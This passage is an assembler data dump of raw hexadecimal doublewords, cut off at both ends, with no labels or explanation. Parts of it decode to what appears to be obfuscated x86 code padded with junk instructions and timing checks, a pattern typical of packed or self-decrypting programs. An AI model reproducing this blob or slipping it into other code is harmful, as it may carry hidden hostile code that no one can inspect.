6B54BF88h, 0C12621h dd 24218D95h, 91B4E89Ch, 0A7739374h, 6B8D1BDDh, 0E3302335h dd 0A59D1686h, 755A4918h, 189C93A7h, 0FA378641h, 4362B390h dd 7E89241Dh, 0F91E651Eh, 2677D0BCh, 87C4CA07h, 60643859h dd 0ED4F3CD3h, 226CA9CEh, 0B9C5CA25h, 8A3CFC8Ah, 98A9EF98h dd 44281h, 0B48FFE00h, 1827545Dh, 80BFC0F1h, 0F6513869h dd 5FEC929Fh, 0F9323234h, 525FB695h, 0CFF01B28h, 3A678EB9h dd 579EE952h, 895E6A02h, 1FB3411Fh, 2A525F07h, 0D8A6C311h dd 6D1F006Bh, 58E3BBD2h, 690364ABh, 49184166h, 0E5B7E4D7h dd 411831D1h, 346A22Fh, 4BD1D14Eh, 0DE6Bh, 577B300h, 0AEFF4834h dd 1340FB81h, 395E91D0h, 1A449A48h, 642CC972h, 0B569120Ah dd 0E1445379h, 105D68B4h, 0F08CD16Eh, 473AD35Fh, 6683BCC0h dd 0BEE26129h, 45374455h, 568AA9FAh, 2CC0612Bh, 473AD41Ch dd 2A7BBAF1h, 8DEA392Ah, 18D2941Fh, 0D5327949h, 4794B3D8h dd 0BAD85F24h, 792D9392h, 2BD8385Bh, 16E983E4h, 74F3C99h dd 344653B4h, 8B88C917h, 0CC2D4403h, 508CBBCFh dd 10E66529h, 0EF98FF86h, 5C3B0617h, 18000003h, 7EA3CA75h dd 0EAD73E0Dh, 424FA6A5h, 0BCE50C37h, 2C1A75D2h, 0CC7B034Ch dd 310E7CA5h, 0A49FE9D6h, 0F38444Dh, 801C7DE4h, 411F8878h dd 5F29F99Dh, 3B96A27Ah, 8A7B473Ah, 7474A9CCh, 0D539273h dd 42AD9AE4h, 0FD142F5Dh, 0D5E5B79Ch, 38473A46h, 5F972F75h dd 0C01C2752h, 3B68D3B9h, 0C6B386F6h, 4AD33A7Dh, 0E72C2799h dd 28D1EA82h, 7F3E4918h, 0D6510D9Fh, 7063ED0Eh, 156C623h dd 0F6E34FE4h, 5586C5C9h, 4686D716h, 0FC21468Dh, 337CCBBFh dd 18A2FE49h, 0F9652946h, 52B7D0DBh, 0A57E8EDAh, 0FBF263F1h dd 0EEE59B7Dh, 3B5E82C5h, 5AB58EFEh, 6A1C2755h, 453FFBB6h dd 9CE77A4Bh, 58000002h, 0BEE30A35h, 2A177ECDh, 828FE665h dd 0FC254CF7h, 6C5AB592h, 0C3B438Ch, 71CEBCE5h, 0E45F2916h dd 4FF8848Dh, 0C05C3D24h, 411F8FB8h, 5F69B95Dh, 3B96A27Ah dd 307B473Ah, 8CB7C5ECh, 0E3602E6Bh, 182D73B2h, 5FB807FCh dd 183502CDh, 49A00B49h, 0EE592370h, 8202D3B2h, 6582D1h dd 0FC26BA47h, 0DEA1FA99h, 0BEF13C61h, 2CBFD862h, 4D604F3Ah dd 0EA57FBA9h, 0EEE5DE87h, 0CBD448A1h, 0B481CAB3h, 78BB88F7h dd 0F53A292Bh, 23461894h, 0D0DB87E8h, 86D52B7h, 20704494h dd 5202A992h, 92207006h, 86D7741Bh, 8DD3DA67h, 0C42F1864h dd 0FCB0B1DBh, 922070ACh, 5F2B6A41h, 26C5A83Fh, 0D80C132Ch dd 84000001h, 0FA274EF9h, 565BB291h, 0CEF31A29h, 386980BBh dd 0A89EE956h, 40FF8FC8h, 0B592F829h, 1823555Ah, 83BCC0F1h dd 498E168h, 411F8FF4h, 77AD7519h, 0DB4A3405h, 3A3B3941h dd 9ED1DC47h, 8AEF2E4Dh, 3BA3F7A5h, 6756473Ah, 0F3E0EC39h dd 10FA4BACh, 0D79002h, 32FD0D9Fh, 9D10473Ah, 5C9BA15Ah dd 1E66BED9h, 6DAA8FC2h, 29F3211Eh, 4918C9E6h, 26722A0Fh dd 0CB4118CEh, 0F253F25Ah, 0F4E2A1Ch, 345558D1h, 609ED253h dd 189C7C8Ch, 611A9141h, 4B891445h, 52CA2F08h, 41182506h dd 0E236E6EBh, 17411825h, 680465A4h, 41182540h, 3BDA06B5h dd 0F29D9AEFh, 0BFE50055h, 59A65Dh, 3A36536Ch, 1DF1BC4Fh dd 2C0E1B8Fh, 0ED3221C2h, 2887108Ch, 45688C2Fh, 0B0FFF410h dd 8D03C557h, 9F1E8245h, 7A7D897Ah, 195BA1CBh, 0F39996FBh dd 0DBD82148h, 244794B3h, 70CBB1F8h, 618E7E86h, 77CADB2Ah dd 0D3h, 2A45FE8Fh, 5EA996E5h, 0F6112E51h, 6C87C0C9h, 85EC5B23h dd 48AC3A5h, 97E32C47h, 285041A8h, 0C1CBF41Fh, 93E46F86h dd 1F8EF119h, 0B66E2441h, 1F2C525Fh, 4871AFCEh, 0AAAAFB44h dd 2C1B64B9h, 42A78CEDh, 3A3B9EAAh, 0E4387347h, 18481142h dd 105D2649h, 280ADEFFh, 0AE0D0458h, 317E7547h, 105344D8h dd 713C4F3Fh, 0C27D0F2Ch, 2D1666ABh, 0B1BB2CF8h, 12DFF973h dd 152E5ED6h, 0CD1D8FF4h, 201974F6h, 30C578Dh, 0E434E879h dd 91974F6h, 2564E3ACh, 70A5A2ECh, 8CA1F235h, 3B1142FDh dd 97A3795Eh, 8A1974F6h, 0BEFD4201h, 0C3618762h, 0F3B334B9h dd 762D3AEFh, 0BAC5D237h, 68B06C8Dh, 8D197483h, 0A091F22Eh dd 2F3263DCh, 3, 7773CB17h, 0C3E83D06h, 105D8EB9h, 618EDF68h dd 0B4F92A19h, 3287DCAh, 529FCC7Bh, 0A2CF1C27h, 0F03D6EDDh dd 696FBC8Bh, 81E68956h, 4C6h, 4EE8300h, 5C243487h, 53240489h dd 0C381E389h, 4, 4EB81h, 1C870000h, 0C895C24h, 0E0895024h dd 405h, 42D00h, 4870000h, 34895C24h, 0ABD66824h, 0C8B0625h dd 4C48124h, 68000000h, 2CD2h, 81242489h, 42404h, 575E0000h dd 7E89CF89h, 243C8B08h, 4C481h, 348B0000h, 0E0895024h dd 405h, 40500h, 4870000h, 34FF5C24h, 0C4815924h, 4, 0FCCB66E9h dd 7E1F98FFh, 0F0B8A76Fh, 30625B6h, 0D8E0FFC5h, 5E46CC44h dd 0E635089Fh, 0F7439875h, 5B2DC5DCh, 0F61AE1E5h, 8C389F9Ch dd 6E63D0D7h, 547DB833h, 0F872FB97h, 0C67E5F4Dh, 0EE2E6CE7h dd 1C2BE025h, 8D07515Fh, 1C4B1A80h, 0DA5878DCh, 926375D7h dd 0AC2AF315h, 0BE6D8003h, 355CA803h, 84291186h, 8A7AA93Ch dd 0E951FACFh, 162DF67Eh, 0EB323442h, 251C8F4Fh, 0A108ABFAh dd 0A4ACDAC6h, 5CD2D41Ch, 0CE00E45Ch, 1BF53134h, 29B327CEh dd 0DD5B34D1h, 17E62AC7h, 34DF1BCEh, 0A6DB67h, 4A5C61h dd 0D5A3EA1Ah, 0 dd 0FEBD199Ch, 0FE3B0000h, 0FBh, 52DDB487h, 9ED92023h dd 77E7339Ch, 1288E9h, 83FE8B00h, 2200F5BDh, 850F0006h dd 61h, 0B8EEF680h, 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0F8C35747h dd 6A0004C2h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 19042444h, 47000000h, 7A50C357h, 0A7D9F3C3h, 10E8h dd 0C0B6FC00h, 4A3D0352h, 9F4B78B1h, 0C00B5218h, 0CFBF0F91h dd 6AC08B5Fh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 19042444h, 43000000h, 3C6FC353h, 425C6DF0h, 2631958Bh dd 95890622h, 6221A91h, 8DDBD83h, 75000622h, 21BD8309h dd 6220Ah, 53501374h, 0D0B8C08Bh, 8D000004h, 24BD9D9Dh dd 5BD3FF06h, 21BD8358h, 6220Ah, 53501174h, 4D0B8h, 0EA9D8D00h dd 0FF0624BCh, 8B585BD3h, 2232918Dh, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1804h, 0C3534300h, 0B9D4704h dd 5FEA80E5h, 6060C08Bh, 0E78166FCh, 0F861D992h, 30858D61h dd 810625B8h, 154DE4C1h, 0BF665019h, 489B490h, 0D58D8B24h dd 8D062220h, 25B7ED85h, 0D9C5BF06h, 0ED80256Dh, 0BA66500Bh dd 4890D01h, 53006A24h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1504h, 0C3534300h, 860F7A09h, 4, 7E87B966h, 163595FFh dd 0E9500622h, 7, 2DFF0374h, 5A8E88A8h, 424448Bh, 25798D23h dd 85890622h, 625B818h, 0FFB70F52h, 24448B5Ah, 52006A08h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h dd 336E05E2h, 6FFCC26Fh, 3EBA6615h, 0CABF0FBCh, 0B82C8589h dd 6A0625h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h dd 52420000h, 0C70E4AC3h, 0FA8F07E5h, 12E9h, 0F30B6300h dd 0EE8929A1h, 247F1B1Dh, 0AA0F6E69h, 832F4736h, 221F45BDh dd 850F0006h, 0C7h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Bh, 77C35747h, 63F9BB9Dh, 89B4EC57h, 2212A99Dh dd 985C606h, 47062233h, 7E9h, 126C3F00h, 0D9BD2E0Fh, 5CDD1068h dd 5E960h, 3B170000h, 81D6C09Ah, 0CAC22404h, 0B5FF743Dh dd 6222649h, 7DBE858Dh, 0BD8B0625h, 6221319h, 68E0Fh, 958B0000h dd 622184Dh, 6AD0FFh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 170424h, 52420000h, 74549AC3h, 6810F4Dh, 8B000000h dd 22118195h, 45858906h, 6A06221Fh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 0A9E5C353h dd 0F1BD89F5h, 8306222Fh, 22030DBDh, 850F0006h, 0A0h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 83C35545h, 462EB6F2h dd 3F27CA05h, 330985C6h, 89470622h, 2207C58Dh, 5176806h dd 12E8AE9Bh, 0C7000000h, 687961CAh, 8C50A3BDh, 38D76180h dd 71A32C26h, 5250536Eh, 585A310Fh, 34815959h, 94B0F524h dd 61C3BA24h, 0B5FF4369h, 6222649h, 858D0FB2h, 6257DBEh dd 0AF18166h, 0FD0FFBEh, 586h, 0C2816600h, 0F7818C06h dd 40B7F874h, 30D8589h, 0DE90622h, 15000000h, 0B9CFAD92h dd 1D8C9BB6h, 5EA833A1h, 1E61BD83h, 0F000622h, 0B285h dd 29BD8B00h, 0C6062202h, 22330985h, 6A5606h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 4531AC3h dd 47413C6Eh, 8B8D0EF0h, 2210C5BDh, 679A6806h, 6E9E8E0h dd 70000000h, 0B89E8D36h, 24348109h, 3CFF0AA3h, 1CED9D29h dd 85890622h, 6223109h, 2649B5FFh, 6A0622h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 160424h, 56460000h, 0B418A1C3h dd 10758589h, 858D0622h, 6257DBEh, 2CF58D03h, 0D0FF0622h dd 1DD18D01h, 85890622h, 6221E61h, 0EE9h, 0A7B25200h, 0CB1E7C84h dd 0BD35411Ah, 0C67D32AEh, 22330985h, 92686C06h, 8B9DC0B5h dd 243481C8h, 46C5C511h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 18h, 0C9C35141h, 0FA831ABDh, 0DE9h, 0E37C900h dd 502D576Ah, 0E46CD956h, 0B5FF87CEh, 62233A9h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 5CC35747h, 0F7E0FE2h dd 0E981CBB7h, 51C1BB5Ah, 6E8h, 0FCE5DA00h, 0FC4253D8h dd 0F1858D5Fh, 0FF06223Ah, 7D8589D0h, 89062215h, 25B81C85h dd 8D8B6006h, 6221191h, 49BD8B52h, 5E062233h, 38BD8361h dd 625B8h, 11F850Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 150424h, 57470000h, 66D493C3h, 0FA856BFh dd 58Ch, 5CF8BA00h, 85C612AEh, 6223309h, 56006A49h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h dd 2D35B1B1h, 68F9B70Fh, 5A09539Ah, 481D68Bh, 0BD64F24h dd 8D316032h, 62231C9h, 26A5B589h, 0FF610622h, 2233A9B5h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h dd 0C3524200h, 605ED287h, 6880Fh, 858B0000h, 6223551h dd 8E8h, 8D800800h, 833B8EB8h, 5F6160A5h, 15800F61h, 0E8000000h dd 0Dh, 9E18DB7Ah, 0F94A75DDh, 0D28985BCh, 5F616000h, 3AF1858Dh dd 12E90622h, 38000000h, 9A0B1CACh, 0B0CFAE30h, 189AA37Fh dd 0D540D147h, 8BD0FFF4h, 2214A58Dh, 38858906h, 6A0625B8h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h dd 41000000h, 3DCEC351h, 890A7167h, 2229699Dh, 66046A06h dd 0BD29D08Bh, 62231E9h, 4E8h, 100000h, 94B15000h, 424448Bh dd 0BE525060h, 313686F1h, 0DA8B310Fh, 0BF66585Ah, 8B616606h dd 895F5700h, 0E8042444h, 14h, 13C4339Dh, 0D293C111h, 0E00DFBD2h dd 0F622137Fh, 0AFC66B85h, 12E960h, 0FD7D0000h, 0A735F3DFh dd 641D2181h, 0DFCAAD6Fh, 0F81A3066h, 8EE9B966h, 9585F61h dd 220E9D95h, 4E806h, 0 dd 0D38B0001h, 5E950h, 1CE90000h, 8BBC3496h, 66042444h dd 8B263EBAh, 0AE800h, 39350000h, 10F4B8C3h, 75F39FECh dd 1002BB60h, 8B6610AEh, 895F61D7h, 66042444h, 6A58CE8Bh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1C042444h dd 42000000h, 2E3EC352h, 0A15BE87Eh, 6AF19B81h, 0F1816600h dd 95FF0D4Ah, 62220EDh, 41DB529h, 85890622h, 625B828h dd 1A19D89h, 85C70622h, 625B820h, 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 16C35646h dd 0AB92C181h, 6A5B29h, 5E8h, 0E852CF00h, 0BD8B8E1Fh, 6220B41h dd 535E685Fh, 0B966BD25h, 481E5C4h, 0DBACA224h, 57006A42h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 9063320Ch, 0C9AF98B9h, 0BA665027h, 6A9004CEh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h dd 9AE9C355h, 60F8F8C6h, 10E9h, 0DF4D300h, 4DCE8AB3h, 6A68400Eh dd 5C0F3021h, 0FFBF0FE4h, 6A0B6A61h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 0F6AAC355h dd 24359589h, 8B560622h, 22086D95h, 858D5F06h, 625B7F5h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 3CC35747h dd 0A8228547h, 0C80DF317h, 304DBD89h, 51900622h, 0AE8h dd 0E1CF4500h, 8A71E796h, 51376B74h, 5059595Fh, 4B90B966h dd 56006A90h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h dd 0C3564600h, 142DB35Eh, 32E1931Eh, 30859501h, 95FF0622h dd 6221F45h, 13A5958Bh, 0B58D0622h, 625B7FFh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0CC35545h, 0E7B61DEBh dd 4FC3B651h, 0C18D89C1h, 50062205h, 6E9h, 25EFB500h, 5F8D15A5h dd 4D59589h, 60960622h, 596652BBh, 61CE8A11h, 0D08B6650h dd 1D958996h, 50062202h, 489FB8Bh, 0A7C28024h, 30D95FFh dd 85310622h, 6220F85h, 850FC00Bh, 3Eh, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 19h, 37C35646h, 358DD79Ch dd 4890F91h, 66000000h, 6665FFBAh, 1DFBF781h, 6E7E9h, 0F98B6600h dd 0F7DBD89h, 0D0FF0622h, 78B799BFh, 28B58B24h, 8B0625B8h dd 20468DCFh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Bh, 0FBC35646h, 0E5CC2AD2h, 0F4EABFEh, 8166D6BFh, 0F51715C1h dd 8589046Ah, 6221835h, 158D8953h, 5F062201h, 24048950h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0E9C35343h dd 0BD0B2E1Eh, 6221C41h, 0B83895FFh, 6A0625h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 69185CC3h dd 0D619DDDAh, 0BC7B5F7h, 10840FC0h, 2B000000h, 221A39BDh dd 62AE906h, 0B4BA0000h, 805725ACh, 0F00207Eh, 61B84h dd 0CF8B6600h, 29958960h, 8D062216h, 8D892046h, 6221D55h dd 0B8248589h, 6A0625h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 160424h, 52420000h, 80B0EAC3h, 9C4057B9h, 196E949h dd 8B660000h, 6A40CBh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 180424h, 56460000h, 0AA5E34C3h, 0E78192BFh, 0FF3AE4Eh dd 850F90F5h, 4, 6EA6BA66h, 60525050h, 8B666160h, 310F61FAh dd 6A90585Ah, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 16042444h, 41000000h, 77DDC351h, 11E8ABh, 34BF0000h dd 616DDF17h, 4D7C29FAh, 41FA49E4h, 53878115h, 6E9h, 3BB7F500h dd 599CBC7Ah, 6A046A5Fh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1A042444h, 45000000h, 0FF1CC355h, 83B1F70Ch dd 14E9509Bh, 0 dd 0B52832BBh, 65BE710h, 41016941h, 322908D2h, 89A0E3BEh dd 6A2404h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h dd 56460000h, 5E78AEC3h, 0A9858906h, 0F06220Eh, 95FFD7BFh dd 625B838h, 3800Fh, 0BF0F0000h, 60D88BD2h, 2BD18157h dd 5F6D325Fh, 61CF8B66h, 50006A58h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1D04h, 0C3504000h, 863A02E8h, 0D64CB7F0h dd 0DB0BA74Ch, 5A840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1A0424h, 51410000h, 768AABC3h, 0BBE5F38Fh dd 629BD8Bh, 71E90622h, 6A000004h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 0FAAEC351h dd 25439360h, 9EB3C1B1h, 9D89BEB1h, 6222831h, 0F003880h dd 0FFFE6485h, 37E9F5FFh, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 9A5C356h dd 81069BE0h, 8BFABF0Fh, 2228DD95h, 6E84806h, 62000000h dd 2DCD24E3h, 853B5F7Eh, 625B824h, 74820Fh, 6A0000h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h dd 0D883DC3h, 15C9267Fh, 566535F9h, 1601B501h, 295A0622h dd 2226559Dh, 5C388006h, 38840Fh, 80F50000h, 850F2F38h dd 0FFFFFFA1h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ah, 0FDC35545h, 9F2B33EAh, 890FDE38h, 6, 15858D8Bh dd 0E8400622h, 0Dh, 0BC9F0F89h, 91703273h, 0A2121192h dd 618D898Eh, 5F06221Ah, 0B82CBD83h, 0F000625h, 18E84h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h dd 0C3524200h, 613E81FAh, 81662725h, 508DE4DFh, 489FA8Bh dd 11E95024h, 49000000h, 90EC53A2h, 0E527B007h, 7134F1A7h dd 25FFCB59h, 2C85035Ah, 30625B8h, 221131BDh, 60609006h dd 61606160h, 61D98B61h, 780DB950h, 6A900FCEh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h dd 5E6EC357h, 52BD513Ch, 66046AFEh, 32BAC181h, 0D38B6650h dd 0FF240489h, 25B83895h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 554254A8h dd 0E4D8D8Bh, 0D88B0622h, 2D1D950Bh, 6A580622h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h dd 997BC351h, 38F98E46h, 890445E8h, 222C45B5h, 0FDB0B06h dd 4D84h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1504h, 0C3514100h, 8B666C7Fh, 0D18166D3h, 35E9617Eh dd 6A000002h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 15042444h, 40000000h, 74FCC350h, 6D958Bh, 0C60622h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h dd 0C3574700h, 870A0B2Ch, 89344558h, 221B558Dh, 6A5806h dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h dd 5009B5C3h, 6CA495B9h, 24048961h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 19h, 6CC35545h, 1DF00CEAh, 0E58589BDh dd 6A062219h, 518D8B1Eh, 9006221Bh, 0EE9h, 696C2C00h, 0C5845E46h dd 91715C6Ah, 50395FA1h, 860Fh, 80900000h, 95FF68E2h, 625B838h dd 6800Fh, 85890000h, 622114Dh, 0B70FD88Bh, 9D8958F8h dd 622142Dh, 840FDB0Bh, 2Fh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 15h, 0F5C35141h, 0C98166B7h, 25E9D91Dh dd 53000001h, 0F18D2B5Fh, 90062200h, 58A0Fh, 9ABA0000h dd 5070F7BAh, 0B9665250h, 310FC407h, 5ACF8B66h, 0CA8B9058h dd 0B818B5FFh, 6A0625h, 3E850h, 58200000h, 448958C3h, 44810424h dd 150424h, 50400000h, 0FC9FDC3h, 1783h, 0BE800h, 53090000h dd 0FCA02CBDh, 0C007E045h, 85BD8BBDh, 59062219h, 0B81C95FFh dd 0BD890625h, 6220E4Dh, 0FA21B966h, 850FC00Bh, 67h, 61CEB70Fh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0EAC35545h dd 1C12FF7h, 31958969h, 0C7062220h, 25B82085h, 106h, 85952900h dd 0E906221Fh, 68h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ah, 0DDC35242h, 7AB50A61h, 0F98B3F76h, 61FA8B66h dd 1BC9BD8Bh, 0C6810622h, 11Ch, 0CE9h, 5EB8BD00h, 719E64C6h dd 8D9EA03h, 0F94FE9F6h, 6AFFFFh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 160424h, 56460000h, 0F810A0C3h, 5B6C1268h dd 8E951h, 0B5A20000h, 69E087A2h, 34812CB2h, 5BEC1224h dd 0ADBA6051h, 29363BFDh, 220EDD8Dh, 6A6106h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0E5C35040h, 90B81B1h dd 0F8B33BDEh, 7AC9805Fh, 0B828B5FFh, 6A0625h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h dd 744458C3h, 7E9h, 0B764E500h, 5C9E4910h, 1E6195FFh, 6A0622h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h dd 858510C3h, 474D31F8h, 0FE9CCh, 0E43E0000h, 32B6EE40h dd 0D6419D55h, 5323BCEFh, 20858BFFh, 10625B8h, 2231B9BDh dd 0F98B5006h, 6A240489h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 14042444h, 45000000h, 8DB4C355h, 25B83085h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h dd 0C3554500h, 7A99F704h, 0C4500B42h, 0E85350DEh, 8, 0B23EE046h dd 4142C89Bh, 4895959h, 56006A24h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1804h, 0C3564600h, 71285E82h, 0DE9E5h, 54C10000h dd 66265235h, 1BC3A259h, 8DBECC55h, 25B7ED85h, 1953106h dd 90062216h, 13E9h, 17DE4D00h, 2316B3D9h, 715D6Dh, 0BB17A04Dh dd 8B05C1CBh, 908DB150h, 95FFCF8Bh, 6220FF9h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 0D3C35141h, 80119046h dd 0A58D897Ch, 8B06221Ch, 0B6B966C0h, 0DDBD8325h, 62208h dd 0BD830975h, 6220A21h, 50137400h, 0B8C08B53h, 4D0h, 0BE049D8Dh dd 0D3FF0624h, 0BD83585Bh, 6220A21h, 50117400h, 4D0B853h dd 9D8D0000h, 624BD03h, 585BD3FFh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 15h, 37C35040h, 99958B18h, 6A062231h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h dd 46000000h, 9107C356h, 5AB9ABFFh, 0EF13BDBAh, 7E972h dd 834C0000h, 0D0919E04h, 0E8C08B9Dh, 7, 0D0FD14BAh, 0F1FB789h dd 5859D0B7h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 15h, 0B0C35343h, 0D18B666Dh, 660008C2h, 8B9072BFh, 8DC08BCEh dd 25B84385h, 11BD8906h, 8906222Ah, 221C0985h, 39EB06h dd 0CC00BC00h, 0E400BC02h, 0BC02h, 0DF000000h, 92444B46h dd 8375524Ah, 2214342h, 0D74C4846h, 314D4201h, 0EA75682Fh dd 19216A63h, 0CE51695Bh, 0A7497241h, 0EA45474Ah dd 1FE1AD4Fh, 0B9C9712Fh, 7D21262Fh, 277EE570h, 0D6250253h dd 0B625026Bh, 9221262Fh, 5FE0E578h, 2ECE2D20h, 3BBFD2A1h dd 2CD3A749h, 739CA5C5h, 57270427h, 16A22F5Ah, 0D3032C0Eh dd 0BA38522Fh, 0CDE1AD7Ch, 0BA212296h, 4618A3A6h, 33AC200Dh dd 510599E6h, 0F37AF5D0h, 0DF009BACh, 9E21200Dh, 0CD727638h dd 0BA212296h, 4618A3A6h, 33AC200Dh, 51059A97h, 0F37AF5D0h dd 3D762645h, 0EA21262Ch, 2AE2790Fh, 0BE055AA6h, 590562AEh dd 0AE212637h, 21E27168h, 3DC7A9ECh, 0E500BB26h, 0E3C8200Dh dd 4121262Fh, 0DD44A8D5h, 0DB8FAFC6h, 8B1493A4h, 97AA200Dh dd 6DEBAD49h, 0F7122FAAh, 0EA4B7029h, 7522CE7Fh, 0E201262Fh dd 19A87EECh, 0EAA0220Bh, 5739220Bh, 0FB61262Fh, 0A88CEEECh dd 0EEC9F9D2h, 2721262Fh, 5BD8E97h, 33229B42h, 25DFAD7Fh dd 0BF25026Bh, 0AB212625h, 0C283C3A7h, 0B06AD3A2h, 9C7177F7h dd 0BA212624h, 0A698CC4Ch, 0FA7CA80Dh, 81B5C0Eh, 1E21AD76h dd 0F165AFD2h, 0EA2FCE2Bh, 4FA262Fh, 226C2E79h, 3F08FEADh dd 5EEEC8E4h, 5723A820h, 63AA262Fh, 55417E71h, 15401BC0h dd 57076F9Ah, 0EA214C29h, 5D2125C7h, 6D79062Fh, 7365AF77h dd 8F65A72Bh, 0D5213B2Bh, 2971662Fh, 9E33B61Eh, 71F364C4h dd 0E3474551h, 2BAC63C3h, 51045B91h, 7BDE7C7Dh, 3D742645h dd 0EA21262Ch, 28E27B0Fh, 0BE054AA6h, 590562AEh, 0AE212638h dd 72E2736Ah, 43DCA4E8h, 0D5212624h, 8664E610h, 431BB49Fh dd 0DA8C91F8h, 4EFC9326h, 3BAA200Dh, 510336CEh, 0C89B794Eh dd 0BF437922h, 0FFAC2D2Bh, 9D27040Eh, 0BA21262Bh, 5D21362Fh dd 0AE2123C7h, 16F1032Fh, 0FB7B74BCh, 64737679h, 8C10299Ch dd 2D7BDFA4h, 9E65AD71h, 0D6EEAD2Bh, 5DAA402Fh, 530562A6h dd 0A8AD294Fh, 0B321262Fh, 0B871E8A4h, 442E839Dh, 71809D49h dd 5407E75h, 0AE21A720h, 0BDAB262Fh, 7D7D5047h, 0D1A02962h dd 8C21262Fh, 0F450C790h, 0E4BB021Bh, 5D4B6BF9h, 0AE22CE78h dd 801262Fh, 0D7A879ECh, 91A0220Bh, 0EA3A220Bh, 2266262Fh dd 6A6964ECh, 3888E405h, 0AE2ACF37h, 0A32A262Fh, 743F0E6Ah dd 0B29F6845h, 0E5214C97h, 0A5DED790h, 52702645h, 5D21262Ch dd 0F7E27F0Fh, 53056AA6h, 0AF0562AEh, 0D5212635h, 73E2776Eh dd 85D12F3Ah, 0B2C8A9DEh, 9021262Fh, 1101A14Dh, 0DEC7A167h dd 8EEBF9AAh, 95E0A629h, 2624DEA4h, 0FC21262Dh, 9FEBC5AAh dd 45E1A529h, 64C6A3A6h, 9712200Ah, 0AB23CA96h, 0BF8BD52Fh dd 0E9C9742Fh, 5521262Fh, 337BE575h, 0DC25027Bh, 0B925026Bh dd 1521262Fh, 0ADDAE57Dh, 544709CEh, 2C3D1DFEh, 57122FAAh dd 829E6529h, 354442BBh, 9F22535Ch, 119D9C49h, 400522AEh dd 5E4A45DAh, 0C83E9F92h, 80A4AF29h, 45270433h, 7F076F9Ah dd 0FC214C29h, 572125C7h, 687B062Fh, 0F175AF75h, 0CE65A72Bh dd 7521322Bh, 7973642Fh, 0D022944Fh, 8B5C98AAh, 1214C29h dd 0AB2125C7h, 167F062Fh, 0CE55AF71h, 5165A72Bh, 0BA213C2Bh dd 9E77602Fh, 